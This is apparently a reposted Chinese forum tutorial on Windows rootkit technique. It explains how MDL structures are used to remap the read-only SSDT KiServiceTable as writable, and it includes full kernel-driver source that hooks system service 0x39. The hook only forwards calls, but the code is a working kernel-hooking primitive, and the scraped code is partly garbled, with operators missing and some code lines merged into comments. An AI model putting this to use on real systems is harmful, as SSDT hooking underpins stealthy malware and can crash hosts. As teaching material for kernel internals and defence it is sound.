kingroot原理(ROOTKIT核心技术利用)(1)

替换高清大图

第一部分回顾,ROOTKIT 核心技术——利用 NT!_MDL(内存描述符链表)突破 SSDT(系统服务描述符表)的只读访问限制(一)

本篇开始进入正题,因为涉及 MDL,所以相关的背景知识是必须的:

nt!_MDL 代表一个 “内存描述符链表” 结构,它描述着用户或内核模式虚拟内存(亦即缓冲区),其对应的那些物理页被锁定住,无法换出。

因为一个虚拟的,地址上连续的用户或内核缓冲区可能映射到多个不连续的物理页,所以 nt!_MDL 定长(0x1c 字节)的头部后紧跟数量可变的页框号(Page Frame Numbers),MDL 描述的每个物理页面都有一个页框号,于是这些页框号引用的物理地址范围就对应了一片特定的用户或内核模式缓冲区。

通常虚拟和物理页的大小为 4 KB,KiServiceTable 中的系统服务数量为 401 个,每函数的入口点占用 4 字节,整张调用表大小为 1.6 KB,通过 MDL 仅需要一张物理页即可描述这个缓冲区;在这种情况下,该 MDL 后只有一个页框号。

尽管 nt!_MDL 是半透明的结构,不过在内核调试器以及 WRK 源码面前还是被脱的一丝不挂,如下图为 WRK 源码的 “ntosdef.h” 头文件中的定义,如你所见,称为 “链表” 乃因它的首个字段 “Next” 是一枚指针,指向后一个 nt!_MDL 结构。

对于我们 hook KiServiceTable 的场景而言,无需用到 Next 字段;那什么情况下会用到呢?

Windows 中某些类型的驱动程序,例如网络栈,它们支持 MDL 链,其内的多个 MDL 描述的那些缓冲区实际上是零散的,假设栈中每个驱动都分配一个 MDL,其后跟着一些物理页框号来描述它们各自用到的虚拟缓冲区,那么这些缓冲区就通过每个 _MDL 的 Next 字段(指向下一个 MDL)链接起来。

下面简述 MDL 结构中,各字段的含义及用武之地!

上图还包含了 MdlFlags 字段的所有标志宏定义,这个 2 字节的字段可以是任意宏的组合,用于说明 MDL 的一些状态与属性。

● 对于描述用户模式缓冲区的 MDL,其内的 Process 字段指向所属进程的 EPROCESS 结构,进程中的这块虚拟地址空间被 MDL 锁住。

● 如果由 MDL 描述的缓冲区映射到内核虚拟地址空间中,_MDL 的 MappedSystemVa 字段指向内核模式缓冲区的基地址。

● 仅当 _MDL 的 MdlFlags 字段内设置了 MDL_MAPPED_TO_SYSTEM_VA 或MDL_SOURCE_IS_NONPAGED_POOL 比特位,MappedSystemVa 字段才有效。

● _MDL 的Size字段含有 MDL 头部加上其后的整个 PFN 数组总大小。

● MDL 的 StartVa 字段和 ByteOffset 字段共同定义了由该 MDL 锁定的原始缓冲区的起始地址。

(原始缓冲区可能会映射到其它内核缓冲区或用户缓冲区)

● StartVa 指向虚拟页的起始地址,ByteOffset 包含实际从 StartVa 开始的缓冲区偏移量;

● MDL 的 ByteCount 字段描述由该 MDL 锁定的缓冲区大小(以字节为单位);

● 对于我们要 hook 的 KiServiceTable 而言, KiServiceTable 这片内核缓冲区所在的虚拟页起点由 StartVa 字段携带;

● ByteOffset 字段则携带 KiServiceTable 的页内偏移量,ByteCount 字段携带 KiServiceTable 这片内核缓冲区的大小。

如果你现在看得云里雾里,不用担心,后面我们在调试时会把描述 KiServiceTable 的一个 nt!_MDL 结构实例拿出来分析,到时候你就会恍然大悟这些字段的设计思想了。

通过编程方式使用 MDL 绕过 KiServiceTable 的只读属性,需要借助 Windows 执行体组件中的 I/O 管理器以及内存管理器导出的一些函数,大致流程如下:

IoAllocateMdl() 分配一个 MDL 来描述 KiServiceTable -> MmProbeAndLockPages() 把该 MDL 描述的 KiServiceTable 所属物理页锁定在内存中,并赋予对这张页面的读写访问权限(实际是将描述该页面的 PTE 内容中的 “R” 标志位修改成 “W”)-> MmGetSystemAddressForMdlSafe() 将 KiServiceTable 映射到另一片内核虚拟地址区域(一般而言,位于 rootkit 被加载到的内核地址范围内)。

如此一来,KiServiceTable 的原始虚拟地址与新映射的虚拟地址都转译到相同的物理地址,而且描述新虚拟地址的 PTE 内容标记了写权限比特位,这样我们就能够通过修改这个新的虚拟地址中的系统服务例程实现安全挂钩 KiServiceTable,不会导致 BugCheck。

如下所示,我把上述涉及的所有操作都封装到一个自定义的函数 MapMdl() 里面。由于整个逻辑比较长,截图分为多张说明:

MapMdl() 在我们的 rootkit 入口点——DriverEntry() 中被调用,而在 DriverEntry() 外部声明几个与 MDL 相关的全局变量,它们被 MapMdl() 与 DriverEntry() 共享。

注意,os_ki_service_table 存储着 KiServiceTable 的地址(参见前一篇定位 KiServiceTable 的代码),把它从 DWORD 转换为泛型指针是为了符合 MapMdl() 中的 IoAllocateMdl() 调用时的形参要求;

最后一个参数——表达式0x191 * 4——就是整个 KiServiceTable 缓冲区的大小:假若 MapMdl() 成功返回,则全局变量 mapped_ki_service_table 持有 KiServiceTable 新映射到的内核虚拟地址;这些全局变量都是 “自注释” 的,pfn_array_follow_mdl 持有的地址处内容就是 MDL 描述的物理页框号:

MapMdl() 第一部分逻辑如下图所示,局部变量 mapped_addr 预期存放 KiServiceTable新映射到的内核虚拟地址,并作为

MapMdl() 的返回值给 DriverEntry(),进一步初始化全局变量 mapped_ki_service_table。

注意,PVOID 可以赋给其它任意类型的指针,这是合法的。

IoAllocateMdl() 返回一枚指针,指向分配好的 MDL,该 MDL 描述 KiServiceTable 的物理内存布局;这枚指针被用来初始化

作为实参传入的全局变量 mdl_ptr(mdl_pointer 是形参)。

我添加的第一个软件断点就是为了研究 IoAllocateMdl() 分配的 MDL 其中 MappedSystemVa,StartVa,以及 MdlFlags 这些字段的内容——事实上,这些字段值会在 IoAllocateMdl() -> MmProbeAndLockPages() ->MmGetSystemAddressForMdlSafe() 调用链的每一阶段发生变化,所以我总共添加了三个断点在相关的检查区域,有助于我们在后面的调试过程中深入理解 nt!_MDL的设计思想。

我把使用 Windows 执行体组件例程进行的操作放入一个 try-except 块内,以便处理可能出现的异常,except 块内的逻辑如下图,当违法访问出现时,调用 IoFreeMdl() 释放我们的 MDL 指针,然后 MapMdl() 返回 NULL,从而导致 DriverEntry() 打印出错信息。

关于 IoAllocateMdl() 的第二个参数,我们有必要进一步了解,所以我翻译了 MSDN 文档上的相关片段,如下:

IoAllocateMdl() 的第二个参数指定要通过分配的 MDL 描述的缓冲区的大小。如果这个长度小于 4KB,那么映射它的 MDL 就只描述了一个被锁定的物理页面;

如果长度是 4KB 的整数倍,那么映射它的 MDL 就描述了相应数量的物理页面(通过紧接 MDL 后面的 PFN 数组)

对于 Windows Server 2003,Windows XP,以及 Windows 2000,此例程支持的最大缓冲区长度(以字节为单位)是:

PAGE_SIZE * (65535 - sizeof(MDL)) / sizeof(ULONG_PTR) (约 67 MB)

对于 Windows Vista 和 Windows Server 2008,能够传入的最大缓冲区大小为:

(2 gigabytes - PAGE_SIZE)

对于 Windows 7 和 Windows Server 2008 R2,能够传入的最大缓冲区大小为:

(4 gigabytes - PAGE_SIZE)

执行此例程的 IRQL 要求为 <= DISPATCH_LEVEL

MapMdl() 第二部分逻辑如下图所示,它紧跟在第一个软件断点之后。我们检查 MDL 中的 MDL_ALLOCATED_FIXED_SIZE 标志是否置位,该标志因调用 IoAllocateMdl() 传入第二个参数指示固定大小而置位;

MmProbeAndLockPages() 的第三个参数是实现写访问的关键所在,能否锁定内存倒是其次,因为像 KiServiceTable 这种系统范围的调用表,地位非常重要,如果被换出物理内存,系统岂不就崩溃了,所以坦白讲我们只是因为需要写权限才调用它的。

第二个断点紧跟其后,这样就可以在调试器中检查MmProbeAndLockPages() 是如何修改 MDL 中的标志;也可以使用编程手段检查,如图中的第二个 if 块逻辑,事实上MmProbeAndLockPages() 调用会向 MdlFlags 字段内添加 MDL_WRITE_OPERATION

与 MDL_PAGES_LOCKED 标志,这就是我们想要的结果!

最后我们调用 MmGetSystemAddressForMdlSafe() 把该 MDL 描述的原始虚拟地址映射到内核空间的另一处,新地址通常位于驱动加载到的内核空间某处;局部变量 mapped_addr 持有这个新地址,最终用来返回并初始化全局变量 mapped_ki_service_table。

同理我们可以检查 MmGetSystemAddressForMdlSafe() 修改了哪些 MDL 结构成员,对于理解 MDL 的工作机理非常关键。

MapMdl() 第三部分逻辑如下图所示,我们检查 MmGetSystemAddressForMdlSafe() 是否多添加了一个

MDL_MAPPED_TO_SYSTEM_VA 标志,然后以 DBG_TRACE 宏打印信息。

全局变量 backup_mdl_ptr 是我们在调用 IoAllocateMdl() 就做好备份的 MDL 指针,它与 mdl_ptr 指向同一个 nt!_MDL 结构。

接下来的逻辑有助于你理解 MDL 头部后面的 PFN 数组:mdl_ptr 指向 nt!_MDL 结构头部,把它加上 1 ,意味着把它持有的内存地址加上 1 * sizeof(MDL) 个字节,于是就定位到了 MDL 头部后面的 PFN 数组起始地址——现在全局变量

pfn_array_follow_mdl(一枚 PPFN_NUMBER 型指针)持有这个地址;正如图中倒数第三条 DbgPrint() 调用所言——

MDL 结构后偏移 xx (0x1b)地址处是一个 PFN 数组,用来存储该 MDL 描述的虚拟缓冲区映射到的物理页框号。

最后一条 DbgPrint() 调用通过解引 pfn_array_follow_mdl 来输出该地址处存放的物理页框号。

在 return mapped_addr; 语句的后面,则是 try-except 块的异常捕获逻辑,请参前面截图。

现在,程序访问可读写的 mapped_ki_service_table 与只读的os_ki_service_table 都转译到同一块物理内存,后者就是实际上存储 KiServiceTable 的地方。

接下来,我们用一枚函数指针保存 KiServiceTable 中某个原始的系统服务,然后用我们的钩子例程地址替换掉该位置处的原始系统服务,而钩子例程内部仅仅是调用原始系统服务,实现安全转发。

为了演示简单起见,我选取 KiServiceTable 中 0x39(57)号例程,因为它的参数只有一个,方便我们的钩子例程仿效同样的参数声明——内核系统服务调度器(nt!KiFastCallEntry())并不知道它调用的目标系统服务已经被替换成我们的钩子例程,所以他会以既定方式使用钩子例程的返回值和输出参数。在这种情况下,只要我们的钩子例程原型声明与被挂钩系统服务有细微差别,都可能导致非预期的内核错误而蓝屏,显然,那些参数既多又复杂的系统服务不适合我用来演示。

此外,某些系统服务接收的参数类型的定义不在 wdm.h / ntddk.h 头文件内,讲明了这些数据类型不是给驱动开发人员使用的,仅供内核组件使用,为了引入包含该定义的头文件则会碰到复杂的头文件嵌套包含问题,其麻烦程度丝毫不逊于 Linux 平台上的 “二进制软件包依赖性地狱” 。

57 号系统服务例程亦即 nt!NtCompleteConnectPort(),有且仅有一个文档化的参数,WRK 源码中的相关定义如下图:

所以我们的钩子例程只要完全仿效它的返回值类型与形参类型即可,然后在内部调用指向原始例程的函数指针实施重定向。

通过 typedef 定义一个函数指针,其返回值类型与形参类型与NtCompleteConnectPort() 一致,然后声明一个该函数指针实例。相关代码如下图:

全局变量 ori_sys_service_ptr 持有 NtCompleteConnectPort() 的入口点地址,前者是在我们的 rootkit 入口点 DriverEntry() 中初始化的;保存这枚指针后就可以用钩子例程替换NtCompleteConnectPort(),如下图所示:

需要指出一点,尽管把指针名称 mapped_ki_service_table 当作数组名称来访问 KiServiceTable是被 C 语言核心规范允许的,但是上图那段代码在编译器会产生警告,如下:

1>warnings in directory d:\kmdsource_use_mdl_mapping_ssdt

1>d:\kmdsource_use_mdl_mapping_ssdt\usemdlmappingssdt.c(155) : warning C4047: '=' : 'OriginalSystemServicePtr' differs in levels of indirection from 'DWORD'

1>d:\kmdsource_use_mdl_mapping_ssdt\usemdlmappingssdt.c(157) : warning C4047: '=' : 'DWORD' differs in levels of indirection from 'NTSTATUS (__stdcall *)(HANDLE)'

ori_sys_service_ptr 是一枚 OriginalSystemServicePtr 型函数指针( NTSTATUS (__stdcall *)(HANDLE) ),而 mapped_ki_service_table 是普通指针,它的数组名称表示法结合数组下标,实际上被视为一个存储对应元素的 DWORD 变量,两者的间接寻址级别不同。

就目前而言我们可以无视这两条警告,因为含有这段代码的 rootkit 源码在编译后确实能够安全地 hook 目标系统服务函数,系统正常运作不会有问题,类似的警告可以通过指定警告级别的编译选项来过滤掉。

讲到这里你一定会嫌我既罗嗦又婆婆妈妈的,那么来看下面这一张简明扼要的全局概览,它解释了 MDL 是如何把一片缓冲区映射到另一处,并描述两者相同的物理布局,注意,图中的组织结构是执行完 MmGetSystemAddressForMdlSafe() 后才会产生的。

注意,上图中我没有给出 PFN 数组中第一个成员携带的具体 20 位物理页框号,原始和映射到的新内核缓冲区,以及实际 RAM中的物理页框号,而“byte within page”就是页内特定偏移处开始的字节序列,亦即系统服务例程入口点的实际物理地址!

这些 “占位符” 我会在第三部分的调试单元内给出,毕竟,驱动开发与调试是相辅相成的,只有理论没有实践怎么行,只有源码没有调试怎知真理,不然,任何人对于内存的需求就真的不会超过 640 K 了.......

最后贴上整个源码,方便各位编译后调试:

#include

#include "datatype.h"

#include "dbgmsg.h"

#define ETHREAD_OFFSET_SERVICE_TABLE 0xbc

PMDL mdl_ptr;

PMDL backup_mdl_ptr;

PPFN_NUMBER pfn_array_follow_mdl;

short mdl_header_length = sizeof(MDL);

DWORD* mapped_ki_service_table;

void** os_SSDT_ptr;

DWORD* os_SSDT;

DWORD os_ki_service_table;

typedef NTSTATUS(*OriginalSystemServicePtr)

(

HANDLE PortHandle

);

OriginalSystemServicePtr ori_sys_service_ptr;

NTSTATUS our_hooking_routine(HANDLE PortHandle)

{

return (ori_sys_service_ptr(PortHandle));

}

PVOID MapMdl(PMDL mdl_pointer, PVOID VirtualAddress, ULONG Length);

void UnMapMdl(PMDL mdl_pointer, PVOID baseaddr);//动态卸载后,dps 转储 mapped_ki_service_table 变量的输出应该不是系统服务例程了 VOID Unload(PDRIVER_OBJECT driver)

{

DBG_TRACE("OnUnload", "卸载前首先取消 MDL 对 KiServiceTable 的映射");

UnMapMdl(mdl_ptr, mapped_ki_service_table);

DBG_TRACE("OnUnload", "UseMdlMappingSSDT.sys 已卸载");

return;

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)

{

BYTE* currentETHREADpointer = NULL;

driver->DriverUnload = Unload;

currentETHREADpointer = (UCHAR*)PsGetCurrentThread();

os_SSDT_ptr = (void**)(currentETHREADpointer ETHREAD_OFFSET_SERVICE_TABLE);

os_SSDT = *(DWORD**)os_SSDT_ptr;

os_ki_service_table = *(DWORD*)os_SSDT;

mapped_ki_service_table = MapMdl(mdl_ptr, (PVOID)os_ki_service_table, 0x191 * 4);

if (mapped_ki_service_table == NULL) {

DBG_TRACE("Driver Entry", ".........无法分配 MDL 来描述 OS 的 SSDT,并把它映射到另一个内核地址对其挂钩 和修改.......");

}

DbgPrint("我们把原始的 OS 系统服务指针表以写权限映射到的新内核空间为: %p\r\n", mapped_ki_service_table);

DbgPrint("解引这个新内核地址,应该就是表中的第一个系统服务的地址,或者用调试器命令 !dps 检查两者是否为同一张调用表: %p\r\n", *mapped_ki_service_table);

//0x39 号系统服务为 nt!NtCompleteConnectPort() ,因为它只有一个参数,而且是文档化的,所以较易 hook 并重定向 ori_sys_service_ptr = mapped_ki_service_table[0x39];

mapped_ki_service_table[0x39] = our_hooking_routine;

DbgPrint("我们把 0x39 号系统服务挂钩为: %p\r\n", mapped_ki_service_table[0x39]);

return STATUS_SUCCESS;

}

PVOID MapMdl(PMDL mdl_pointer, PVOID VirtualAddress, ULONG Length)

{

PVOID mapped_addr;

DbgPrint(" _KTHREAD.ServiceTable 自身的地址: %p\r\n", &os_SSDT_ptr);

DbgPrint(" ServiceTable 指向: %p\r\n", os_SSDT_ptr);

DbgPrint(" ServiceTable 所指处的内容: %p\r\n", *os_SSDT_ptr);

DbgPrint(" SSDT,亦即 nt!KeServiceDescriptorTable 地址,与 ServiceTable 所指处内容一致: %p\r\n", os_SSDT);

DbgPrint(" nt!KeServiceDescriptorTable 所指处的内容: %X\r\n", *os_SSDT);

DbgPrint(" KiServiceTable 地址,与上面一致: %X\r\n", os_ki_service_table);

DBG_TRACE("MapMdl", ".......表中的系统服务地址可以通过 dps 转储 os_ki_service_table 查看!..........r\n");

try {

mdl_pointer = IoAllocateMdl(VirtualAddress, 0x191 * 4, FALSE, FALSE, NULL);

if (mdl_pointer == NULL) {

DBG_TRACE("MapMdl", ".........无法分配一个 MDL 来描述原始的 KiServiceTable !..........\r\n");

return NULL;

}

DbgPrint("分配的 MDL 指针自身的地址: %p ,可用 dd 转储它持有的地址\r\n", &mdl_pointer);

DbgPrint("分配的 MDL 指针指向一个 _MDL 的地址: %p,与 dd %p 的输出一致,它用来描述原始的 KiServiceTable\r\n", mdl_pointer, &mdl_pointer);

backup_mdl_ptr = mdl_pointer;

// 这里设置的两个断点是为了观察调用前后的 _MDL.MdlFlags 如何变化 __asm {

int 3;

}

if (mdl_pointer->MdlFlags & MDL_ALLOCATED_FIXED_SIZE)

{

DBG_TRACE("MapMdl", ".....IoAllocateMdl() 分配的 MDL 结构有固定大小(MDL_ALLOCATED_FIXED_SIZE)........\r\n");

}

MmProbeAndLockPages(mdl_pointer, KernelMode, IoWriteAccess);

__asm {

int 3;

}

if ((mdl_pointer->MdlFlags & MDL_ALLOCATED_FIXED_SIZE) &&

(mdl_pointer->MdlFlags & MDL_WRITE_OPERATION) &&

(mdl_pointer->MdlFlags & MDL_PAGES_LOCKED))

{

DBG_TRACE("MapMdl", " MmProbeAndLockPages() 以写权限(MDL_WRITE_OPERATION)把 MDL 描述的原始 KiServiceTable 所在页面锁定到物理内存中(MDL_PAGES_LOCKED)\r\n");

}

mapped_addr = MmGetSystemAddressForMdlSafe(mdl_pointer, NormalPagePriority);

// 此处顺便观察 _MDL.MdlFlags 的变化 __asm {

int 3;

}

if (

(mdl_pointer->MdlFlags & MDL_ALLOCATED_FIXED_SIZE) &&

(mdl_pointer->MdlFlags & MDL_WRITE_OPERATION) &&

(mdl_pointer->MdlFlags & MDL_PAGES_LOCKED) &&

(mdl_pointer->MdlFlags & MDL_MAPPED_TO_SYSTEM_VA)

)

{

DBG_TRACE("MapMdl", " MmGetSystemAddressForMdlSafe() 把 MDL 结构描述的原始 KiServiceTable 映射到另一个内核虚拟地址(MDL_MAPPED_TO_SYSTEM_VA)\r\n");

}

DbgPrint("MmGetSystemAddressForMdlSafe() 调用依然可以通过原始的 MDL 指针访问 _MDL 的地址: %p\r\n", mdl_pointer);

DbgPrint("也可以通过备份的 MDL 指针访问 _MDL 的地址: %p,这都说明 MDL 结构尚未被释放,\r\n", backup_mdl_ptr);

pfn_array_follow_mdl = (PPFN_NUMBER)(mdl_pointer 1);

DbgPrint(" MDL 结构后偏移 %2x 地址处是一个 PFN 数组,用来存储该 MDL 描述的虚拟缓冲区映射到的物理页框号\r\n", mdl_header_length);

DbgPrint(" 该 PFN 数组的起始地址为:%p\r\n", pfn_array_follow_mdl);

DbgPrint(" 第一个物理页框号为:%p\r\n", *pfn_array_follow_mdl);

return mapped_addr;

}

except (STATUS_ACCESS_VIOLATION) {

IoFreeMdl(mdl_pointer);

return NULL;

}

}

void UnMapMdl(PMDL mdl_pointer, PVOID baseaddr)

{

if (mdl_pointer != backup_mdl_ptr) {

DBG_TRACE("UnMapMdl", ".......先解锁备份 MDL 映射的页面,然后释放备份的 MDL........");

MmUnlockPages(backup_mdl_ptr); // 此例程的效果是,无法通过映射的系统地址来访问 KiServiceTable,且 _MDL 结构中各字段已发生变化, IoFreeMdl(backup_mdl_ptr); // 此例程的效果是,MDL 指针不再持有 _MDL 结构的地址 if (backup_mdl_ptr == NULL) {

DBG_TRACE("UnMapMdl", ".............解锁页面,释放备份 MDL 完成!................");

}

return;

}

DBG_TRACE("UnMapMdl", ".........原始 MDL 未被修改,解锁它映射的页面后释放它...........");

// 如果前面使用 MmBuildMdlForNonPagedPool() ,就不能执行下面前2个操作 //MmUnmapLockedPages(baseaddr, mdl); MmUnlockPages(mdl_pointer);

IoFreeMdl(mdl_pointer);

if (mdl_pointer == NULL) {

DBG_TRACE("UnMapMdl", ".............解锁页面,释放原始 MDL 完成!................");

}

return;

}

头文件 dbgmsg.h 内容如下,它仅仅是在预处理阶段替换为 DbgPrint() 的一些可变参数罢了,没啥黑科技可言:

#ifdef LOG_OFF

#define DBG_TRACE(src,msg)

#define DBG_PRINT1(arg1)

#define DBG_PRINT2(fmt,arg1)

#define DBG_PRINT3(fmt,arg1,arg2)

#define DBG_PRINT4(fmt,arg1,arg2,arg3)

#else

#define DBG_TRACE(src,msg) DbgPrint("[%s]:%s\n",src,msg)

#define DBG_PRINT1(arg1) DbgPrint("%s",arg1)

#define DBG_PRINT2(fmt,arg1) DbgPrint(fmt,arg1)

#define DBG_PRINT3(fmt,arg1,arg2) DbgPrint(fmt,arg1,arg2)

#define DBG_PRINT4(fmt,arg1,arg2,arg3) DbgPrint(fmt,arg1,arg2,arg3)

另一个包含文件 datatype.h 的所有内容, 请参考第一部分:就是那张 DWORD、WORD、BYTE 类型定义的截图。

原文链接:请访问看雪论坛

本文由看雪论坛 shayi 原创

转载请注明来自看雪社区

,